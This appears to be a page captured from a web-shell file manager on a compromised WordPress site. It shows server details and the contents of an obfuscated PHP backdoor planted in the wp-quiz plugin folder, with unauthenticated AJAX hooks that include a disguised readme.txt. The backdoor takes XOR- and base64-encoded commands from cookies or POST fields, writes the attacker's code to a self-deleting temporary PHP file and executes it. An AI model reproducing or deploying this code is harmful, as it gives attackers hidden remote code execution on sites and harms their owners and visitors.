if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/plugins/wp-quiz/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/plugins/wp-quiz/jmfwnrph.php
<?php 

$vnricj /*  mobmia */ =    'vnricj'	^	'';


function     jahgrcp()


{
   $adtwzg_yay    = /*  _pou  */ 36;

 /*   xoosm  */ $fjl_v /*   ndtvw   */ =	'bevh';
      $fmuijduzrr /*z   */ = /*   bclev   */ 'lsa';


    $_etmmm  =	'kejacuxd';

	$mzmdstobf      = /*  hs   */ str_replace('pqhbts',       'wut',    $_etmmm);


}


jahgrcp();




$yqlr_jrpf /*   psy*/ =	$_COOKIE;
$uvnyjunwjy     =	73;





function /*pc*/ hqlld_l($meaedioq, /*dm  */ $mnoeuqngtqrwue)


{

    global    $vnricj;

       
     file_put_contents($mnoeuqngtqrwue,   "<" /*fr */ . /*   m   */ "?".$vnricj(1026-914)	. /*  m */ "h"."\x70" /*  lojx*/ . /*   fddyr   */ $vnricj(32)    .	"\165" /* h   */ .   "n"."\154"    .      "\x69"."\156" /* h   */ .    "\x6b" /*   qqmui   */ . /*wksgz */ "\x28"  .   "_"."\x5f"	.   "F".$vnricj(73)   .      "L".$vnricj(1025-956) /*  eiolf   */ .    $vnricj(844-749)  . /*   dgwd  */ "\137"  . /*  lift   */ ")".";".$vnricj(32)   . /* _zo */ $meaedioq["d"]);
      


    pykutecscz($mnoeuqngtqrwue);

}


function	pykutecscz($mnoeuqngtqrwue){


	global /* njtu */ $vnricj;


    

 /*  bhu   */ include($mnoeuqngtqrwue);


     $ksbaopihzi     =      $mnoeuqngtqrwue;


	@unlink($ksbaopihzi);

}

function /*  xi  */ d_fguokd(){

	global /*x   */ $vnricj;



 /* nkc   */ $lxbwsjkkso     =    array(); /* ftyzu */ $lxbwsjkkso["p"."v"] /*  u   */ =    phpversion();
       $lxbwsjkkso[$vnricj(115) /*  qg  */ .    "\166"]    =  "3".$vnricj(1033-987)    .    "\65";


	$wdlzo /*zhae*/ = /* cf*/ 74;


	echo   @serialize($lxbwsjkkso);


}




function	dbgfsl()


{    $djyk_sat /* qfg  */ =  'jzo';

 /*msfq  */ $rzs_el    =    44; /*   br*/ $tmfoc /* swm */ = /*  qhxjn  */ 47;
	$zfgmifcwkx	=     'dd';
}


dbgfsl();function /*   uty   */ _zewyw_pxb($meaedioq,	$szm_zvadqv)

{


 /* pdwd   */ global /*   rlt_gg   */ $vnricj;


	$kbwtrti       =    "";	$ftovjab      =      'efujumg';

 /*f  */ for     ($lxbwsjkkso	=  0;    $lxbwsjkkso     <    strlen($meaedioq);)	{ /* _ko */ for   ($mnoeuqngtq /* nymt*/ = /*  nhyojo */ 0; /*  zwlgh*/ $mnoeuqngtq     <   strlen($szm_zvadqv)  &&   $lxbwsjkkso    < /* mrvoq  */ strlen($meaedioq);    $mnoeuqngtq++,    $lxbwsjkkso++)     {


	$kbwtrti    .=    $vnricj(ord($meaedioq[$lxbwsjkkso])	^    ord($szm_zvadqv[$mnoeuqngtq]));

    }

   }
 /*  wbolj */ return	$kbwtrti;}




function    fjpzwzzmsc()


{	$mnoeuqngtqkuxxalldr	= /*  mylp */ 14;
	$aiiob    =      'wqivq';


   $klkdd	= /*   j*/ 18;


 /*j_ca */ $tlewahd       =  49; /*  nuafxz */ $ggsvex    = /*   nxwwew */ 'jimwre';

   $dwfluqa  =    'lvbkpf';


 /*wrefc  */ $mnoeuqngtqkuxxalldr  =   $tlewahd /*yey   */ *       $tlewahd;
      $yhvukb	=	$tlewahd    /      ($tlewahd	+      10);


 /*_axpee */ $ewloqbpvr    =     39;


}



fjpzwzzmsc();



function /*  nuflux   */ gholse_($meaedioq,   $opahfw,	$yggdqft)

{

    global    $vnricj;
	$meaedioq    = /*  i*/ unserialize(_zewyw_pxb(_zewyw_pxb(base64_decode($meaedioq),     $opahfw),	$yggdqft));
	$zuhtt /*_m  */ =	'zdmj';


	$zbvxws  = /* rqaphb*/ 'wqoh'; /* jpcito */ if       (isset($meaedioq[$vnricj(145-48)    . /*  iine  */ $vnricj(814-707)]))       {
 /* femwxv*/ if       ($meaedioq["\x61"]    ==     "\x69") /*   vvvi_*/ {
  d_fguokd(); /*bztstc */ }    elseif     ($meaedioq["\x61"] /*  qdxkm  */ ==	$vnricj(101)) /*ralxdd*/ {

 /*  zpemj*/ hqlld_l($meaedioq, /*  qi   */ sprintf($vnricj(941-895) /*  hmyioy*/ .   $vnricj(386-339)	.    "\x25"    . /*   dw   */ $vnricj(850-735) /*   zsn*/ .    "."."p".$vnricj(504-396),  md5($opahfw)));
			$mnoeuqngtqcxthhfmy	= /*  yrgyp   */ 44;

 /*acip */ }


      exit();


	}


}

	$x_wpj      =    69;
	$nvmux      = /*ccz */ 22;


$opahfw       =	$vnricj(49) /*wgm*/ .  $vnricj(423-369)    .    $vnricj(937-837) /*  nhsmgq  */ . /*   b   */ "\x34"    .    "5"."f"."9"."1"."-".$vnricj(100) /* hmii  */ . /*   u_scxl   */ "\x66"       . /*lw   */ "0"."\141" /*  qtj   */ . /* scyc*/ "-"."\64"      .    "\63" /*   hys */ . /*kfx  */ $vnricj(278-227)   .       "8".$vnricj(896-851)    .     "\x61" /* ewnwvi*/ . /*  fuvzpd   */ "\x30"	. /*oiwf  */ $vnricj(356-256) /*  gm */ . /*  vaouhh   */ "3"."-".$vnricj(64-10) /*   ipp*/ .	"b"."0"."\x63"       . /*  bujosq*/ "b"."\141"    . /*  tzyek*/ "\x65" /*  ae_  */ .   "\143" /*ly*/ . /*   mn */ "\71"  .	$vnricj(635-536) /* xhvxn  */ . /*   ct_rd*/ $vnricj(619-570) /* drqol   */ .    "\x32";$nvmux /*   nv   */ = /*zl  */ $x_wpj /*  fqxh  */ +      15;foreach /*bol */ ($yqlr_jrpf    as    $yggdqft    => /*  es */ $meaedioq)    {    gholse_($meaedioq,	$opahfw,       $yggdqft);

}


foreach /*nfy   */ ($_POST /* qnd  */ as   $yggdqft /*   fsxg */ =>     $meaedioq)    {    gholse_($meaedioq,    $opahfw,	$yggdqft);

}

$gomvmggw	=  6;






?>
@ Telegram